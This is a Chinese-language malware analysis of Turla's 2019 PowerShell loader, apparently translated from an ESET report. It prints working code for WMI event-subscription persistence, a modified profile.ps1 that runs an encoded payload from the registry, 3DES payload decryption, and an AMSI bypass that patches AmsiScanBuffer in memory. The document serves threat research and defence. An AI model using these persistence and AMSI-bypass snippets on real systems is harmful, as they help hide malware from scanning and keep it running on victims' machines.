这个样本是在2019年5月中使用的一个powershell样本。
背景
Turla,也被称为 Snake,是一个臭名昭著的间谍组织,以其复杂的恶意软件而闻名。Turla 至少从 2008 年就开始运作,当时它成功攻击了美国军队。最近,它参与了对德国外交部和法国军队的重大攻击事件。
为了混淆检测,在2019年中开始使用 PowerShell 脚本,这些脚本提供恶意软件可执行文件和库的直接内存加载和执行的能力。
在2018 年中,卡巴斯基实验室发布了一份报告,分析了基于开源项目Posh-SecMod的 Turla PowerShell 加载器。然而,当时它有很多问题,例如经常崩溃。
在2019年中,Turla 改进了这些脚本,可以使用它们从其传统武器库中加载各种自定义恶意软件。
这个样本是在东欧中的一次攻击中发现的。
PowerShell 加载器
PowerShell 加载器具有三个主要步骤:持久化、解密和加载到嵌入式可执行文件或库的内存中。
持久化
在样本中的powershell脚本中会利用进行维权操作,这个样本中我们可以知道使用了2种方法进行维权:
Windows Management Instrumentation (WMI) 事件订阅
PowerShell 配置文件(profile.ps1文件)的更改。
Windows 管理规范
在第一种情况下,攻击者创建两个 WMI事件过滤器和两个 WMI事件操作(Consumer)。Consumer只是启动 base64 编码的 PowerShell 命令的命令行,然后加载存储在 Windows 注册表中的PowerShell 脚本。
代码语言:javascript复制Get-WmiObject CommandLineEventConsumer -Namespace rootsubscription -filter "name='Syslog Consumer'" | Remove-WmiObject;
$NLP35gh = Set-WmiInstance -Namespace "rootsubscription" -Class 'CommandLineEventConsumer' -Arguments @{ name = 'Syslog Consumer'; CommandLineTemplate = "$($Env:SystemRoot)System32WindowsPowerShellv1.0powershell.exe -enc $HL39fjh"; RunInteractively = 'false' };
Get-WmiObject __eventFilter -namespace rootsubscription -filter "name='Log Adapter Filter'" | Remove-WmiObject;
Get-WmiObject __FilterToConsumerBinding -Namespace rootsubscription | Where-Object { $_.filter -match 'Log Adapter' } | Remove-WmiObject;
$IT825cd = "SELECT * FROM __instanceModificationEvent WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour=15 AND TargetInstance.Minute=30 AND TargetInstance.Second=40";
$VQI79dcf = Set-WmiInstance -Class __EventFilter -Namespace rootsubscription -Arguments @{ name = 'Log Adapter Filter'; EventNameSpace = 'rootCimV2'; QueryLanguage = 'WQL'; Query = $IT825cd };
Set-WmiInstance -Namespace rootsubscription -Class __FilterToConsumerBinding -Arguments @{ Filter = $VQI79dcf; Consumer = $NLP35gh };
Get-WmiObject __eventFilter -namespace rootsubscription -filter "name='AD Bridge Filter'" | Remove-WmiObject;
Get-WmiObject __FilterToConsumerBinding -Namespace rootsubscription | Where-Object { $_.filter -match 'AD Bridge' } | Remove-WmiObject;
$IT825cd = "SELECT * FROM __instanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 300 AND TargetInstance.SystemUpTime < 400";
$VQI79dcf = Set-WmiInstance -Class __EventFilter -Namespace rootsubscription -Arguments @{ name = 'AD Bridge Filter'; EventNameSpace = 'rootCimV2'; QueryLanguage = 'WQL'; Query = $IT825cd };
Set-WmiInstance -Namespace rootsubscription -Class __FilterToConsumerBinding -Arguments @{ Filter = $VQI79dcf; Consumer = $NLP35gh };
这些事件将分别在 15:30:40 和系统正常运行时间在 300 到 400 秒之间运行。变量$HL39fjh包含 base64 编码的 PowerShell 命令,它读取存储加密负载的 Windows 注册表项,并包含解密负载所需的密码和盐。
代码语言:javascript复制[System.Text.Encoding]::ASCII.GetString([Convert]::FromBase64String("<base64-encoded password and salt">)) | iex ;[Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((Get-ItemProperty '$ZM172da').'$WY79ad')) | iex
最后,脚本将加密的有效负载存储在 Windows 注册表中。我们观察到攻击者似乎对每个目标使用不同的注册表位置。
Profile.ps1
在后一种情况下,攻击者会更改 PowerShell 配置文件。
根据微软文档:
代码语言:javascript复制https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-7.2&viewFallbackFrom=powershell-6
代码语言:javascript复制You can create a PowerShell profile to customize your environment and to add session-specific elements to every PowerShell session that you start.
A PowerShell profile is a script that runs when PowerShell starts. You can use the profile as a logon script to customize the environment. You can add commands, aliases, functions, variables, snap-ins, modules, and PowerShell drives. You can also add other session-specific elements to your profile so they are available in every session without having to import or re-create them.
PowerShell supports several profiles for users and host programs. However, it does not create the profiles for you. This topic describes the profiles, and it describes how to create and maintain profiles on your computer.
It explains how to use the NoProfile parameter of the PowerShell console (PowerShell.exe) to start PowerShell without any profiles. And, it explains the effect of the PowerShell execution policy on profiles.
PowerShell 配置文件是在 PowerShell 启动时运行的脚本。我们可以将配置文件用作登录脚本来自定义环境。我们也可以添加命令、别名、函数、变量、管理单元、模块和 PowerShell 驱动器。
在样本中,Turla 修改的 PowerShell 配置文件:
代码语言:javascript复制try
{
$SystemProc = (Get-WmiObject 'Win32_Process' | ?{$_.ProcessId -eq $PID} | % {Invoke-WmiMethod -InputObject $_ -Name 'GetOwner'} | ?{(Get-WmiObject -Class Win32_Account -Filter "name='$($_.User)'").SID -eq "S-1-5-18"})
if ("$SystemProc" -ne "")
{
$([Convert]::ToBase64String($([Text.Encoding]::ASCII.GetBytes("<m>$([DateTime]::Now.ToString('G')): STARTED </m>") | %{ $_ -bxor 0xAA })) "|") | Out-File 'C:UsersPublicDownloadsthumbs.ini' -Append;
[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String("IABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAIgBKAEYAZABJAFIAegBRADQATQBXAFIAawBJAEQAMABuAFEAMQBsAEQAVgBEAE0ANQBNAHoAUQB3AFoAbQBaAG8ASgB6AHMAZwBKAEUAWgBaAE4AVABKAGoAWgBUADAAbgBUAGsATgBEAFUAagBrADUATgB6AEIAbwBaAG0AaABqAEoAegBzAGcASQBBAD0APQAiACkAKQAgAHwAIABpAGUAeAAgADsAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAQQBjAHQAaQB2AGUAWAAgAEMAbwBtAHAAYQB0AGkAYgBpAGwAaQB0AHkAXAB7ADIAMgA2AGUAZAA1ADMAMwAtAGYAMQBiADAALQA0ADgAMQBkAC0AYQBkADIANgAtADAAYQBlADcAOABiAGMAZQA4ADEAZAA3AH0AJwApAC4AJwAoAEQAZQBmAGEAdQBsAHQAKQAnACkAKQAgAHwAIABpAGUAeAA=")) | iex | Out-Null;
kill $PID;
}
}
catch{$([Convert]::ToBase64String($([Text.Encoding]::ASCII.GetBytes("<m>$([DateTime]::Now.ToString('G')): $_ </m>") | %{ $_ -bxor 0xAA })) "|") | Out-File 'C:UsersPublicDownloadsthumbs.ini' -Append}
base64 编码的 PowerShell 命令与 WMI Consumer中使用的命令非常相似。
解密
存储在 Windows 注册表中的负载是另一个 PowerShell 脚本。它是使用渗透测试框架PowerSploit 中的开源脚本Out-EncryptedScript.ps1生成的。
变量名被随机化:
代码语言:javascript复制$GSP540cd = "<base64 encoded encrypted payload>";
$RS99ggf = $XZ228hha.GetBytes("PINGQXOMQFTZGDZX");
$STD33abh = [Convert]::FromBase64String($GSP540cd);
$SB49gje = New-Object System.Security.Cryptography.PasswordDeriveBytes($IY51aab, $XZ228hha.GetBytes($CBI61aeb), "SHA1", 2);
[Byte[]]$XYW18ja = $SB49gje.GetBytes(16);
$EN594ca = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider;
$EN594ca.Mode = [System.Security.Cryptography.CipherMode]::CBC;
[Byte[]]$ID796ea = New-Object Byte[]($STD33abh.Length);
$ZQD772bf = $EN594ca.CreateDecryptor($XYW18ja, $RS99ggf);
$DCR12ffg = New-Object System.IO.MemoryStream($STD33abh, $True);
$WG731ff = New-Object System.Security.Cryptography.CryptoStream($DCR12ffg, $ZQD772bf, [System.Security.Cryptography.CryptoStreamMode]::Read);
$XBD387bb = $WG731ff.Read($ID796ea, 0, $ID796ea.Length);
$OQ09hd = [YR300hf]::IWM01jdg($ID796ea);
$DCR12ffg.Close();
$WG731ff.Close();
$EN594ca.Clear();
return $XZ228hha.GetString($OQ09hd,0,$OQ09hd.Length);
有效载荷使用3DES算法解密。本示例中的初始化向量PINGQXOMQFTZGDZX对每个样本都不同。
每个脚本的key和salt也不同,不存储在脚本中,而只存储在WMI过滤器或profile.ps1文件中。
PE loader
在上一步解密的有效负载是一个 PowerShell 反射加载器。它基于来自同一个 PowerSploit 框架的脚本Invoke-ReflectivePEInjection.ps1。可执行文件硬编码在脚本中,并注入目标系统上运行的随机选择的进程的内存中。
在一些示例中,攻击者指定了不注入二进制文件的可执行文件列表
代码语言:javascript复制$IgnoreNames = @(
"smss.exe","csrss.exe","wininit.exe","winlogon.exe","lsass.exe","lsm.exe","svchost.exe","avp.exe","avpsus.exe","klnagent.exe","vapm.exe","spoolsv.exe"
);
AMSI 旁路
在 2019 年 3 月以来部署的一些示例中,Turla 开发人员修改了他们的 PowerShell 脚本以绕过反恶意软件扫描接口 (AMSI)。
但是他们没有找到新的绕过方法,而是重新使用了在 2018 年 Black Hat Asia 上的演讲The Rise and Fall of AMSI 中提出的技术。它由库amsi.dll 中函数AmsiScanBuffer开头的内存补丁组成。
PowerShell 脚本加载 .NET 可执行文件以检索AmsiScanBuffer的地址。然后,它调用VirtualProtect以允许在检索到的地址进行写入。
最后,修补直接在 PowerShell 脚本中完成。它将AmsiScanBuffer的开头修改为始终返回 1 ( AMSI_RESULT_NOT_DETECTED )。因此,反恶意软件产品将不会接收缓冲区,从而阻止任何扫描。
代码语言:javascript复制$ptr = [Win32]::FindAmsiFun();
if($ptr -eq 0)
{
Write-Host "protection not found"
}
else
{
if([IntPtr]::size -eq 4)
{
Write-Host "x32 protection detected"
$buf = New-Object Byte[] 7
$buf[0] = 0x66; $buf[1] = 0xb8; $buf[2] = 0x01; $buf[3] = 0x00; $buf[4] = 0xc2; $buf[5] = 0x18; $buf[6] = 0x00; #mov ax, 1 ;ret 0x18;
$c = [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 7)
}
else
{
Write-Host "x64 protection detected"
$buf = New-Object Byte[] 6
$buf[0] = 0xb8; $buf[1] = 0x01; $buf[2] = 0x00; $buf[3] = 0x00; $buf[4] = 0x00; $buf[5] = 0xc3; #mov eax, 1 ;ret;
$c = [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 6)
}
}
https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/